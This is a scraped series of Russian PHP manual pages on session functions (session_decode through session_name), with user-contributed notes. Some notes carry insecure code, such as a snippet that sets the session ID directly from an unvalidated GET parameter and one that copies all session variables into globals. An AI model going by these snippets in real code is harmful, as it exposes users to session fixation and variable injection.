If you're trying to access your session data from outside the regular php session functions, you might want to use WDDX as your serializer, as opposed to the normal php serializer. When your data is serialized as XML, obviously it's easy to unserialize as you please.

WDDX seems to be a little slower, and the text string it creates is much bigger than that created by the normal php serializer, but it provides the functionality with minimal hassle.

Donal
forum at orthanc dot co dot nz 02-Apr-2004 12:26
Becarful using this if you are trying to switch out of an existing session rather than load one into a clean slate.

session_decode doesn't destroy the existing session data, it will over write it if there is a session variable of the same name, but if the names don't clash the existing session variables will hang around.

I have yet to find a better solution than

session_destroy()
session_start()
session_decode(....);

-----------------------------------------
To explain what I'm talking about

<?
    session_start();
    $a = 5;
    session_register('a');
    session_decode("<session that doesn't have a as a session variable>");
    print (session_is_registered('a') ? $a : 'Not Registered' );
?>

The above code will print '5' as $a hasn't been destroyed or even unregistered by the session_decode
njail 12-Dec-2003 12:28
<?PHP
// Get Session Content
$varsess = Array('SESSION');
for ($i = 0; $i < sizeof($varsess); $i++)
{
  if (is_array(${"_{$varsess[$i]}"}))
  {
    foreach (${"_{$varsess[$i]}"} as $var=>$val)
    {
    $$var = $val;
    // print "Var :".$var." -- Value :".$val."\n<br>";
    }
  }
  unset(${"_{$varsess[$i]}"});
}
?>
petej*shaman_ca 21-Aug-2003 01:44
Seems like there was a change in the behavior of this function somewhere between 4.1.2 and 4.3.3.  In 4.1.2 session_decode() didn't care whether the session was started, and would just decode the string into the _SESSION array.  In my 4.3.3 install, session_decode() wouldn't work unless I explicitly started the session with session_start().


Уничтожает все данные сессии

  • « session_decode
  • session_encode »
  • PHP Manual
  • Функции для работы с сессиями
  • Уничтожает все данные сессии

session_destroy

(PHP 4, PHP 5, PHP 7, PHP 8)

session_destroy — Уничтожает все данные сессии

Описание

session_destroy(): bool

session_destroy() уничтожает все данные, связанные с текущей сессией. Данная функция не удаляет какие-либо глобальные переменные, связанные с сессией и не удаляет сессионные cookie. Чтобы вновь использовать переменные сессии, следует вызвать session_start().

Замечание: Нет необходимости вызывать session_destroy() в обычном коде. Очищайте массив $_SESSION вместо удаления данных сессии.

Чтобы полностью удалить сессию, также необходимо удалить и её идентификатор. Если для передачи идентификатора сессии используются cookie (поведение по умолчанию), то сессионные cookie также должны быть удалены. Для этого можно использовать setcookie().

При включённой опции session.use_strict_mode, вам не нужно удалять устаревшие cookie идентификатора сессии. В этом нет необходимости, потому что модуль сессии не примет cookie идентификатора сессии, если с этим идентификатором сессии нет связанных данных, и модуль сессии установит новый cookie идентификатора сессии. Рекомендуется включать опцию session.use_strict_mode для всех сайтов.

Внимание

Немедленное удаление сессии может привести к нежелательным последствиям. При наличии конкурирующих запросов, другие соединения могут столкнуться с внезапной потерей данных сессии, например, это могут быть запросы от JavaScript и/или запросы из ссылок URL.

Даже если текущий модуль сессии не поддерживает пустые cookie идентификатора сессии, немедленное удаление сессии может привести к пустым cookie идентификатора сессии из-за состояния гонки на стороне клиента (браузера). Это приведёт к тому, что клиент создаст множество идентификаторов сессии без необходимости.

Чтобы этого избежать, необходимо установить в $_SESSION временную метку удаления и убрать доступ позже. Или удостовериться, что ваше приложение не имеет конкурирующих запросов. Это также относится к session_regenerate_id().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Уничтожение сессии с помощью $_SESSION

<?php
// Инициализируем сессию.
// Если вы используете session_name("something"), не забудьте добавить это перед session_start()!
session_start();

// Удаляем все переменные сессии.
$_SESSION = array();

// Если требуется уничтожить сессию, также необходимо удалить сессионные cookie.
// Замечание: Это уничтожит сессию, а не только данные сессии!
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}

// Наконец, уничтожаем сессию.
session_destroy();
?>

Смотрите также

  • session.use_strict_mode
  • session_reset() - Реинициализирует сессию оригинальными значениями
  • session_regenerate_id() - Генерирует и обновляет идентификатор текущей сессии
  • unset() - Удаляет переменную
  • setcookie() - Отправляет cookie

User Contributed Notes

greald at gmail dot com 09-Dec-2020 08:21
All of a sudden neither session_destroy() nor $_SESSION=[] were sufficient to log out. I found the next to work:
<?php
setcookie(session_name(), session_id(), 1); // to expire the session
$_SESSION = [];
?>
JBH 04-Jul-2017 03:39
I'm using PHP 7.1 and received the following warning when implementing Example #1, above:

    PHP message: PHP Warning:  session_destroy(): Trying to destroy uninitialized session in...

What I discovered is that clearing $_SESSION and removing the cookie destroys the session, hence the warning.  To avoid the warning while still keeping the value of using session_destroy(), do this after everything else:

    if (session_status() == PHP_SESSION_ACTIVE) { session_destroy(); }
Jack Luo 27-Mar-2014 10:08
It took me a while to figure out how to destroy a particular session in php. Note I'm not sure if solution provided below is perfect but it seems work for me. Please feel free to post any easier way to destroy a particular session. Because it's quite useful for functionality of force an user offline.

1. If you're using db or memcached to manage session, you can always delete that session entry directly from db or memcached.

2. Using generic php session methods to delete a particular session(by session id).

<?php
$session_id_to_destroy = 'nill2if998vhplq9f3pj08vjb1';
// 1. commit session if it's started.
if (session_id()) {
    session_commit();
}

// 2. store current session id
session_start();
$current_session_id = session_id();
session_commit();

// 3. hijack then destroy session specified.
session_id($session_id_to_destroy);
session_start();
session_destroy();
session_commit();

// 4. restore current session id. If don't restore it, your current session will refer to the session you just destroyed!
session_id($current_session_id);
session_start();
session_commit();

?>
Praveen V 14-Sep-2012 04:39
If you want to change the session id on each log in, make sure to use session_regenerate_id(true) during the log in process.

<?php
session_start();
session_regenerate_id(true);
?>

[Edited by moderator (googleguy at php dot net)]


Кодирует данные текущей сессии в формате строки сессии

  • « session_destroy
  • session_gc »
  • PHP Manual
  • Функции для работы с сессиями
  • Кодирует данные текущей сессии в формате строки сессии

session_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

session_encode — Кодирует данные текущей сессии в формате строки сессии

Описание

session_encode(): string|false

session_encode() возвращает сериализованную строку, содержащую данные текущей сессии, хранящиеся в суперглобальном массиве $ _SESSION.

По умолчанию используется внутренний метод сериализации PHP и результат будет отличаться от формата, возвращаемого функцией serialize(). Метод сериализации может быть установлен с помощью session.serialize_handler.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованные данные текущей сессии или false, если возникла ошибка.

Примечания

Внимание

Необходимо вызвать функцию session_start() перед использованием session_encode().

Смотрите также

  • session_decode() - Декодирует данные сессии из закодированной строки сессии
  • session.serialize_handler

User Contributed Notes

Mark P 15-Jun-2017 06:17
session_encode() can't handle pipes in your keys.

<?php
session_start();
$_SESSION = ['foo|bar'=>'ba;z']; pathetic
dump(session_encode()); // false because "foo|bar" contains a pipe
?>
<carlos sica>sica at wnet dot com dot br 05-May-2005 09:19
session_encode() just return the session dataset in a formatted form

session_start();

$_SESSION['login_ok'] = true;
$_SESSION['nome'] = 'sica';
$_SESSION['inteiro'] = 34;

echo session_encode();

this code will print

login_ok|b:1;nome|s:4:"sica";inteiro|i:34;


Выполняет сборку мусора данных сессии

  • « session_encode
  • session_get_cookie_params »
  • PHP Manual
  • Функции для работы с сессиями
  • Выполняет сборку мусора данных сессии

session_gc

(PHP 7 >= 7.1.0, PHP 8)

session_gc — Выполняет сборку мусора данных сессии

Описание

session_gc(): int|false

session_gc() используется для выполнения сборки мусора (garbage collection) для данных сессии. По умолчанию PHP выполняет основанную на вероятности сборку мусора сессии.

Сборка мусора, основанная на вероятности в целом работает, но имеет несколько проблем. 1) На низкозагруженных сайтах данные сессии могут быть не удалены в течение желаемого времени. 2) На высокозагруженных сайтах сборка мусора может выполняться слишком часто. 3) Сборка мусора выполняется во время обработки запроса пользователя, что приводит к дополнительной задержке для пользователя.

Поэтому рекомендуется выполнять сборку мусора на рабочих системах периодически, например, использовать задачи cron в UNIX-подобных системах. При этом убедитесь, что отключили сборку мусора на основе вероятности, установив session.gc_probability в 0.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

session_gc() возвращает число удалённых данных сессии при успешном выполнении и false в случае неудачи.

Старые обработчики сессии не возвращают число удалённых данных сессии, а только флаг успеха/неудачи. В этом случае, число удалённых данных сессии всегда будет равно 1, независимо от фактического количества удалённых данных.

Примеры

Пример #1 Пример использования session_gc() в диспетчерах задач, таких как cron

<?php
// Примечание: Данный скрипт должен выполняться под тем же пользователем процесса веб-сервера.

// Нужна активная сессия для инициализации доступа к хранилищу данных сессии.
session_start();

// Принудительное выполнение сборки мусора
session_gc();

// Очистка идентификатора сессии
session_destroy();
?>

Пример #2 Пример использования session_gc() в скрипте, доступном пользователю

<?php
// Примечание: session_gc() рекомендуется использовать через скрипт диспетчера задач,
// но можно использовать и следующим образом.

// Используется для проверки времени последней сборки мусора
$gc_time = '/tmp/php_session_last_gc';
$gc_period = 1800;

session_start();
// Выполнять сборку мусора только по истечении периода,
// поскольку вызов session_gc() при каждом запросе является пустой тратой ресурсов.
if (file_exists($gc_time)) {
if (filemtime($gc_time) < time() - $gc_period) {
session_gc();
touch($gc_time);
}
} else {
touch($gc_time);
}
?>

Смотрите также

  • session_start() - Стартует новую сессию, либо возобновляет существующую
  • session_destroy() - Уничтожает все данные сессии
  • session.gc_probability

User Contributed Notes

There are no user contributed notes for this page.


Возвращает параметры cookie сессии

  • « session_gc
  • session_id »
  • PHP Manual
  • Функции для работы с сессиями
  • Возвращает параметры cookie сессии

session_get_cookie_params

(PHP 4, PHP 5, PHP 7, PHP 8)

session_get_cookie_params — Возвращает параметры cookie сессии

Описание

session_get_cookie_params(): array

Возвращает параметры cookie сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с информацией о cookie текущей сессии, который содержит следующие элементы:

  • "lifetime" - время жизни cookie в секундах.
  • "path" - путь, где размещена хранимая информация.
  • "domain" - домен cookie.
  • "secure" - cookie должны передаваться только через безопасные соединения.
  • "httponly" - cookie могут быть доступны только по протоколу HTTP.
  • "samesite" - управляет междоменной отправкой cookie.

Список изменений

Версия | Описание
7.3.0 | Добавлен элемент "samesite" в возвращаемый массив.

Смотрите также

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session.cookie_samesite
  • session_set_cookie_params() - Устанавливает параметры сессионной cookie

User Contributed Notes

mmchristian at gmail dot com 07-Jun-2016 07:51
It should be noted that this gets the session cookie ini file parameters, not the parameters from the cookie itself.

ie. if you set the cookie lifetime using session_set_cookie_params(12345) and then try to use session_get_cookie_params, you will not get back 12345. Instead, you will get the lifetime set in the ini file.
powerlord at spamless dot vgmusic dot com 18-Nov-2002 11:35
This function is quite handy when it comes to expiring session cookies... since Session cookies don't automatically get destroyed (see the session_destroy page).

For instance, here's what I plan to use to expire session cookies:

    $CookieInfo = session_get_cookie_params();
    if ( (empty($CookieInfo['domain'])) && (empty($CookieInfo['secure'])) ) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path']);
    } elseif (empty($CookieInfo['secure'])) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain']);
    } else {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain'], $CookieInfo['secure']);
    }
    session_destroy();

It doesn't check to see if the path part of the session cookie is set because the defaults in php.ini have this set already, unlike domain and secure.


Получает и/или устанавливает идентификатор текущей сессии

  • « session_get_cookie_params
  • session_module_name »
  • PHP Manual
  • Функции для работы с сессиями
  • Получает и/или устанавливает идентификатор текущей сессии

session_id

(PHP 4, PHP 5, PHP 7, PHP 8)

session_id — Получает и/или устанавливает идентификатор текущей сессии

Описание

session_id(?string $id = null): string|false

session_id() используется для получения или установки идентификатора текущей сессии.

Константа SID также может быть использована для получения текущего имени и идентификатора сессии в виде строки, подходящей для добавления в URL-адреса. Смотрите также Работа с сессиями.

Список параметров

id

Если указан параметр id и он не равен null, то он заменит идентификатор текущий сессии. Для этого session_id() следует вызывать до session_start(). В зависимости от обработчика сессии, не все символы возможно использовать в идентификаторе сессии. Например, файловый обработчик сессии поддерживает только символы из диапазона a-z A-Z 0-9 , (запятая) и - (минус)!

Замечание: При использовании сессионных cookie, указание id для session_id() приводит к тому, что при вызове session_start() всегда будут отправлены новые cookie, независимо от того, совпадает ли идентификатор текущей сессии с вновь установленным.

Возвращаемые значения

session_id() возвращает идентификатор текущей сессии или пустую строку (""), если нет текущей сессии (идентификатор текущей сессии не существует). В случае неудачи возвращает false.

Список изменений

Версия | Описание
8.0.0 | id теперь может быть null.

Смотрите также

  • session_regenerate_id() - Генерирует и обновляет идентификатор текущей сессии
  • session_start() - Стартует новую сессию, либо возобновляет существующую
  • session_set_save_handler() - Устанавливает пользовательские обработчики хранения сессии
  • session.save_handler

User Contributed Notes

hela69 12-Jan-2018 06:17
The call session_id(null) and session_id() provides not the same result. It is imperative to pass no parameters to get correct results.
ohcc at 163 dot com 07-Oct-2016 06:18
When session.use_strict_mode is set to 1 or true, you cannot use session_id($sid) to set the session id for the current session.
<?php
    ini_set('session.use_strict_mode', 1);
    $sid = md5('wuxiancheng.cn');
    session_id($sid);
    session_start();
    var_dump(session_id() === $sid);// always false
?>
Igor Oliveira Ferreira 12-Jul-2015 12:03
This can looks obvious, but as me, you can spend some hours to make a simple session work between different browsers and devices. These are the basics for me, but you can build upon.

<?php
if($_GET){
    //defining the session_id() before session_start() is the secret
    session_id($_GET['session_id']);
    session_start();
    echo "Data: " . $_SESSION['theVar'];
    //use your data before below commands
    session_destroy();
    session_commit();
}else{
    //common session statement goes here
    session_start();
    $session_id=session_id();
    $_SESSION['theVar'] = "theData";
    echo "your.php?session_id=" . $session_id;
}
?>
Shiji Jiang 22-Apr-2015 05:13
IMPORTANT NOTE:
If you assign a specific session ID to a user in your applet, then do not run the following code either while logout,
session_regenerate_id(TRUE);
USE:
session_regenerate_id();   instead.
OTHERWISE, setting the session id will no longer works for that user.
Riikka K 08-Mar-2015 06:08
It may be good to note that PHP does not allow arbitrary session ids. The session id validation in PHP source is defined in ext/session/session.c in the function php_session_valid_key:

https://github.com/php/php-src/blob/master/ext/session/session.c

To put it short, a valid session id may consists of digits, letters A to Z (both upper and lower case), comma and dash. Described as a character class, it would be [-,a-zA-Z0-9]. A valid session id may have the length between 1 and 128 characters. To validate session ids, the easiest way to do it use a function like:

<?php

function session_valid_id($session_id)
{
    return preg_match('/^[-,a-zA-Z0-9]{1,128}$/', $session_id) > 0;
}

?>

session_id() itself will happily accept invalid session ids, but if you try to start a session using an invalid id, you will get the following error:

Warning: session_start(): The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,'
gmillikan at t1shopper dot com 03-Mar-2015 06:20
session_id() URL-decodes the session value.   For example let's say we use setcookie() to push a cookie down to a web browser.  When the browser makes the next page request the browser sends the cookie back up to us with headers like this:  Cookie: PHPSESSID=enGHumY%2C-2De-F-TDzNHVmE%2ChY5;

If we use session_id() to read the cookie it will output a value of this: enGHumY,-2De-F-TDzNHVmE,hY5

The two values don't match!  Use either setrawcookie() or URL encode if you wish to match the original value.
infinito84 at gmail dot com 06-Mar-2014 05:50
Get a shared session.

Sometimes is good can interchange messages and vars between one session and another, but PHP dont support this. I create this script that allows with session_id() change from current session to shared session (this is, info with scope to all sessions) for read and write info and back in to user session. The code:

<?php
    ini_set('display_errors',1);
    error_reporting(E_ALL);

    function get_global($key){
        //Get current session
        if(session_status()!=PHP_SESSION_ACTIVE)session_start();
        $current_id=session_id();
        session_write_close();
        //Set a global session with session_id=1
        session_id(1);
        session_start();
        //Get superglobal value
        $value=null;
        if(isset($_SESSION[$key]))$value=$_SESSION[$key];
        session_write_close();
        //Set the before session
        session_id($current_id);
        session_start();
        return $value;
    }

    function set_global($key,$value){
        //Get current session
        if(session_status()!=PHP_SESSION_ACTIVE)session_start();
        $current_id=session_id();
        session_write_close();
        //Set a global session with session_id=1
        session_id(1);
        session_start();
        //Set superglobal value
        $_SESSION[$key]=$value;
        session_write_close();
        //Set the before session
        session_id($current_id);
        session_start();
    }
    //Example
    //Begin my session normally
    session_start();
    if(empty($_SESSION['count'])){
        $_SESSION['count']=0;
        $_SESSION['color']="rgb(".rand(0,255).",".rand(0,255).",".rand(0,255).")";
    }
    $_SESSION['count']++;
    $id=session_id();
    //Get the superglobal
    $test=get_global("test");
    //Set the superglobal test with empty array if this dont set
    if($test==null)$test=array();
    //Get the superglobal
    $test=get_global("test");
    //Set values for each reload page and save the session_id that create it
    $test[]="<span style='color:".$_SESSION['color']."'>Value: ".rand(0,100)." SessionID: $id</span><br>";
    //Save the superglobal
    set_global("test",$test);
    //Show the superglobal
    foreach($test as $t){
        echo $t;
    }
    echo "<b>Reloads = ".$_SESSION['count'].", <span style='color:".$_SESSION['color']."'>This my color</span></b>";

    exit;
?>
Dario Gomes 07-Jun-2011 07:06
Gosh, took a LOOONG time to figure this one out! If you have suhosin built into your PHP and can't get sessions to work after changing the session id through session_id(), try turning off suhosin's session encryption option in php.ini with:

suhosin.session.encrypt=Off
Francois 15-Mar-2011 10:45
In php version 5.3.2 in my case each time a new session-id was generated after session_start() but all was working before correctly in previous versions. So I lost data from my current session (wrong session-id). There was always a $_POST or $_GET or $_COOKIE available with the session-name and session-id, so session_start() was taken this automatically. Now I have to execute session_id(..old id ..) before session_start() and a session is started for the same id.
dmeweb at dibsplace dot com 06-Mar-2011 09:19
If you look at the notes on cookies (set_cookie I think), you will see that you can not read a cookie on the page that it is set.  That is because the cookies are sent with the page request which comes, of course, before your PHP is run.  You have to wait until the next page request from the same source to read the cookie.
ab at ixo point ca 07-Jan-2011 11:17
I was perplexed by inconsistent results with the session ID depending on whether I retrieve it using SID, COOKIE, or session_id().  I have found that session_id() is the most reliable method, whereas SID and COOKIE["PHPSESSIONID"] are sometimes undefined.

I used this simple script to quickly test the problem on my servers:

<?php
$a = session_id();
if(empty($a)) session_start();
echo "SID: ".SID."<br>session_id(): ".session_id()."<br>COOKIE: ".$_COOKIE["PHPSESSID"];
?>

Regardless of browser I see the COOKIE undefined on the first load and the other two defined, then SID is empty on subsequent reloads and COOKIE is defined, but session_id() is always defined.

If I insert the session_regenerate_id() method that jeff_zamrzla gives below the refresh the page, I get a new session_id() but the COOKIE value is initially the prior session_id() until I hit refresh a second time.  So again, session_id() proves to be the most reliable method.

It's probably not a bug since I found the behaviour to be consistent in PHP versions 5.2.14, 5.3.3 and 5.3.4, but I can't figure what I'm missing and hopefully this will help others who run into this.
Drugelis, Lietuva 11-Sep-2010 07:46
I had a lot of trouble with session_regenerate_id() as it did not regenerate... Session_id() stayed the same no matter what (unless closing the window). I wanted to have different sid and empty vars for each session/page meeting a condition for security reasons.  Finally, this worked:

<?php
$a = session_id();
if ($a == '') session_start();
if ( ...add check if you want to regenerate and destroy vars on some condition only [recommended :)]...  )
 { session_unset(); //destroys variables
   session_destroy() //destroys session;
 }

$a = session_id();
if ($a == '') session_start();
if (!isset($_SESSION['safety']))
{
    session_regenerate_id(true);
    $_SESSION['safety'] = true;
}
$_SESSION['sessionid'] = session_id();
?>

Now you get different sid and session variables empty for each session_start if condition is met (i.e. user hits refresh on user/password form, which I needed badly :). Hope this helps someone out there.
Env: localhost
Note: condition is mandatory, otherwise it destroys on each load.
Axel 13-May-2008 01:44
The documentation for session_id is incomplete when it says:
"For example, the file session handler only allows characters in the range a-z, A-Z and 0-9!".

It is untrue when changing the default for the session.hash_bits_per_character as Colin said. session_id may therefore contain "-" and ",".

http://fr.php.net/manual/en/session.configuration.php
25-Mar-2007 11:06
Regarding Colin's comment, note that setting hash_bits_per_character to 5 results in characters ranging from 0-9 and a-v. Most attackers would be wise enough to realize what was going on when they saw a letter in g-v.  The probability of not seeing a letter in g-v is somewhere around 2^-32.
Colin 08-Mar-2007 10:46
The higher you set session.hash_bits_per_character the shorter your session_id will become by using more bits per character. The possible values are 4, 5, or 6.

When using sha-1 for hashing (by setting ini_set('session.hash_function', 1) the following session string lengths are produced by the three session.hash_bits_per_character settings:

4 - 40 character string
5 - 32 character string
6 - 27 character string

It would seem desirable to use sha-l with 5 bits_per_character because this will emulate a standard 32 character md5 string and make a would-be attacker think that is what you're hashing with.
22-Aug-2006 01:15
In response to simon at quo dot com dot au:

The PHPSESSID is produced using an hash function. By default, it uses MD5 which produces 128 bits long (i.e: 16 bytes long) hashes.
But, since some bytes' values may not be used in the HTTP header, PHP outputs the hash in its hexadecimal representation, thus resulting in a 32 bytes long text.

Starting with  PHP 5.0, you can change the hash function used (by setting "session.hash_function" to whatever function you want to use in php.ini).
You may for example set it to 1 to switch to SHA-1 which produces 160 bits (20 bytes) long hashes.

Please also note that another setting was introduced in PHP 5 (session.hash_bits_per_character) which sort of "compresses" the hash. Thus, resulting in what seems to be a shorter hash.
This feature helps you improve your application's security by producing IDs that are harder to prodict for a malicious attacker.

More information on those settings is provided on:
http://www.php.net/manual/en/ref.session.php
simon at quo dot com dot au 06-Mar-2006 10:15
Length of PHPSESSID appears to be 32 characters by default.
jpjounier at hotmail dot com 23-Jun-2005 04:28
About the note from Cybertinus :

The following test doesn't work, the code following is always executed :

<?php
if(!session_id())
{
// Always executed even if there's already an opened session
}

session_id() returns an empty string if there is no current session, so to test if a session already exists, it's better to write this :
if(session_id() == "")
{
session_start();
}
else
{
// Anything you want
}
?>
cbarnes at bfinity dot net 09-May-2005 06:44
Note that Firefox and Mozilla use the same process for launching new windows or tabs, they will pick up the same session id as the previous windows until the parent process dies or is closed. This may cause undesired results if the session id is stored in a db and checked, a solution is to check at the new entry point (new tab or window if the user went back to the index page) for an existing session. If a session id exists and a new one is required use something like:

<?php
$ses_id = session_id();
$bsid_exists = false;
$bsid_exists = check_session_id_from_db($ses_id);
 if ($bsid_exists){
 //This is a reentry and the session already exists
 // create a new session ID and start a new
session_regenerate_id();
$ses_id = session_id();
 }
?>
karlhaines at comcast dot net 30-Oct-2003 05:05
Rewriting URL's is not suggested for obvious security issues. Please be careful with register_globals when using sessions! Check that all information you recieve from a user is valid before accepting it!
Andi, info at pragmaMx dot org 16-Jan-2003 01:13
you can also add the iframe tag:
ini_set("url_rewriter.tags", "a=href,area=href,frame=src,iframe=src,input=src,form=fakeentry");


Возвращает и/или устанавливает модуль текущей сессии

  • « session_id
  • session_name »
  • PHP Manual
  • Функции для работы с сессиями
  • Возвращает и/или устанавливает модуль текущей сессии

session_module_name

(PHP 4, PHP 5, PHP 7, PHP 8)

session_module_name — Возвращает и/или устанавливает модуль текущей сессии

Описание

session_module_name(?string $module = null): string|false

session_module_name() возвращает название текущего модуля сессии, которое также известен как session.save_handler.

Список параметров

module

Если указан параметр module и не равен null, данный модуль будет использован вместо текущего. Передача значения "user" в этот параметр запрещена. Вместо этого должна вызываться функция session_set_save_handler() для установки пользовательского обработчика.

Возвращаемые значения

Возвращает название текущего модуля сессии или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | module теперь может быть null.
7.2.0 | В данный момент запрещено устанавливать имя модуля на значение "user". Ранее это игнорировалось.

User Contributed Notes

Anonymous 21-Apr-2015 10:43
was looking for a rather comprehensive list of modules, and found http://stackoverflow.com/questions/8415962/what-exactly-phps-function-session-module-name-is-for but there are more.
raees at steelbrain dot com dot pk 03-Nov-2014 09:29
This function is used to set the Session Module at site or script level.

The global configuration can be done in php.ini under the [Session] section and with the name of "session.save_handler". The sessions are saved in files by default, like so:
session.save_handler = files

But with this configuration you set one of your websites to use some other session module (if you have them installed and extension loaded with PHP), like so:
<?php

// NOTE: You must use this function before starting session with session_start(); to make it work properly
session_module_name('memcache'); // or pgsql or redis etc

// You'll need to define a save path also, if the module is other than files, like so:
session_save_path('localhost:11211'); // memcache uses port 11211

// or you can use multiple for load balancing:
session_save_path('localhost:11211:41,otherhost:11211:60') // First part is hostname or path to socket, next is port and the last is the weight for that server

//The function also returns the value of the current session module.
echo session_module_name(); // will print memcache in our case

// or maybe a check
if(session_module_name() != 'memcache'){
  // Do something, throw an exception maybe
}


Получить или установить имя текущей сессии

  • « session_module_name
  • session_regenerate_id »
  • PHP Manual
  • Функции для работы с сессиями
  • Получить или установить имя текущей сессии

session_name

(PHP 4, PHP 5, PHP 7, PHP 8)

session_name — Получить или установить имя текущей сессии

Описание

session_name(?string $name = null): string|false

session_name() возвращает имя текущей сессии. Если задан параметр name, session_name() обновит имя сессии и вернёт старое имя сессии.

Если новое имя сессии (name) предоставлено, session_name() изменяет cookie HTTP (и выводит содержимое при включённой опции session.transid). Когда cookie HTTP отправлены, session_name() вызывает ошибку. session_name() необходимо вызывать до session_start() для правильной работы сессии.

Имя сессии сбрасываются на значение по умолчанию, хранящегося в session.name во время запуска запроса. Таким образом, вам нужно вызывать session_name() для каждого запроса (и до session_start()).

Список параметров

name

Имя сессии ссылается на имя сессии, которое используется в cookie и URL (например, PHPSESSID ). Оно должно содержать только буквенно-цифровые символы, и должен быть коротким и понятными (например, для пользователей с включённым предупреждением cookie). Если задан параметр name и он не равен null, имя текущей сессии поменяется на него.

Внимание

Имя сессии не может состоять только из цифр, по крайней мере, одна буква должна присутствовать. В противном случае каждый раз будет генерироваться новый идентификатор.

Возвращаемые значения

Возвращает имя текущей сессии. Если задан параметр name, имя текущей сессии поменяется и будет возвращено старое или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | module теперь может быть null.
7.2.0 | session_name() проверяет статус сессии, ранее она проверяла только статус cookie. Поэтому старая версия session_name() позволяла вызывать session_name() после session_start(), что могло привести к сбою PHP и неправильному поведению.

Примеры

Пример #1 Пример использования session_name()

<?php

/* устанавливает имя сессии равным WebsiteID */

$previous_name = session_name("WebsiteID");

echo "Предыдущее имя сессии: $previous_name<br />";
?>

Смотрите также

  • Параметр конфигурации session.name

User Contributed Notes

descartavel1+php at gmail dot com 16-May-2023 09:13
Always try to set the prefix for your session name attribute to either `__Host-` or `__Secure-` to benefit from Browsers improved security. See https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#attributes

Also, if you have auto_session enabled, you must set this name in session.name in your config (php.ini, htaccess, etc)
mmulej at gmail dot com 16-Feb-2021 09:29
Hope this is not out of php.net noting scope.

session_name('name') must be set before session_start() because the former changes ini settings and the latter reads them. For the same reason session_set_cookie_params($options) must be set before session_start() as well.

I find it best to do the following.

function is_session_started()
{
    if (php_sapi_name() === 'cli')
        return false;

    if (version_compare(phpversion(), '5.4.0', '>='))
        return session_status() === PHP_SESSION_ACTIVE;

    return session_id() !== '';
}
if (!is_session_started()) {
    session_name($session_name);
    session_set_cookie_params($cookie_options);
    session_start();
}
tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:54
The description has recently been modified to contain the statement "When new session name is supplied, session_name() modifies HTTP cookie". This is not correct as session_name() has never modified any cookie data. A change in session.name does not become effective until session_start() is called, and it is session_start() that creates the cookie if it does not already exist.

See the following bug report for details: https://bugs.php.net/bug.php?id=76413
tony at marston-home dot demon dot co dot uk 04-Jun-2018 01:12
The description that session_name() gets and/or sets the name of the current session is technically wrong. It does nothing but deal with the value originally supplied by the session.name value within the php.ini file.

Thus:-
$name = session_name();
is functionally equivalent to
$name = ini_get('session.name');
and
session_name('newname);
is functionally equivalent to
ini_set('session.name','newname');

This also means that:
$old_name = session_name('newname');
is functionally equivalent to
$old_name = ini_set('session.name','newname');

The current value of session.name is not attached to a session until session_start() is called. Once session_start() has used session.name to lookup the session_id() in the cookie data the name becomes irrelevant as all further operations on the session data are keyed by the session_id().

Note that changing session.name while a session is currently active will not update the name in any session cookie. The new name does not take effect until the next call to session_start(), and this requires that the current session, which was created with the previous value for session.name, be closed.
Victor H 27-Sep-2015 06:14
As  Joseph Dalrymple said, adding session_name do slow down a little bit the execution time.
But, what i've observed is that it decreased the fluctuation between requests.
Requests on my script fluctuated between 0,045 and 0,022 seconds. With session_name("myapp"), it goes to 0,050 and 0,045. Not a big deal, but that's a point to note.

For those with problems setting the name, when session.auto_start is set to 1, you need to set the session.name on php.ini!
Joseph Dalrymple 14-Apr-2011 11:52
For those wondering, this function is expensive!

On a script that was executing in a consistent 0.0025 seconds, just the use of session_name("foo") shot my execution time up to ~0.09s. By simply sacrificing session_name("foo"), I sped my script up by roughly 0.09 seconds.
relsqui at chiliahedron dot com 20-Feb-2009 11:07
Remember, kids--you MUST use session_name() first if you want to use session_set_cookie_params() to, say, change the session timeout. Otherwise it won't work, won't give any error, and nothing in the documentation (that I've seen, anyway) will explain why.

Thanks to brandan of bildungsroman.com who left a note under session_set_cookie_params() explaining this or I'd probably still be throwing my hands up about it.
php at wiz dot cx 27-Sep-2008 08:36
if you try to name a php session "example.com" it gets converted to "example_com" and everything breaks.

don't use a period in your session name.
slave at codegrunt dot com 22-Dec-2004 02:03
One gotcha I have noticed with session_name is that it will trigger a WARNING level error if the cookie or GET/POST variable value has something other than alphanumeric characters in it.  If your site displays warnings and uses PHP sessions this may be a way to enumerate at least some of your scripts:

http://example.com/foo.php?session_name_here=(bad)

Warning: session_start(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /some/path/foo.php on line 666

I did not see anything in the docs suggesting that one had to sanitize the PHP session ID values before opening the session but that appears to be the case.

Unfortunately session_name() always returns true so you have to actually get to the point of assigning variables values before you know whether you have been passed bad session data (as far as I can see).  After the error has been generated in other words.

Cheers
Hongliang Qiang 27-May-2004 01:48
This may sound no-brainer: the session_name() function will have no essential effect if you set session.auto_start to "true" in php.ini . And the obvious explanation is the session already started thus cannot be altered before the session_name() function--wherever it is in the script--is executed, same reason session_name needs to be called before session_start() as documented.

I know it is really not a big deal. But I had a quite hard time before figuring this out, and hope it might be helpful to someone like me.


Генерирует и обновляет идентификатор текущей сессии

  • « session_name
  • session_register_shutdown »
  • PHP Manual
  • Функции для работы с сессиями
  • Генерирует и обновляет идентификатор текущей сессии

session_regenerate_id

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

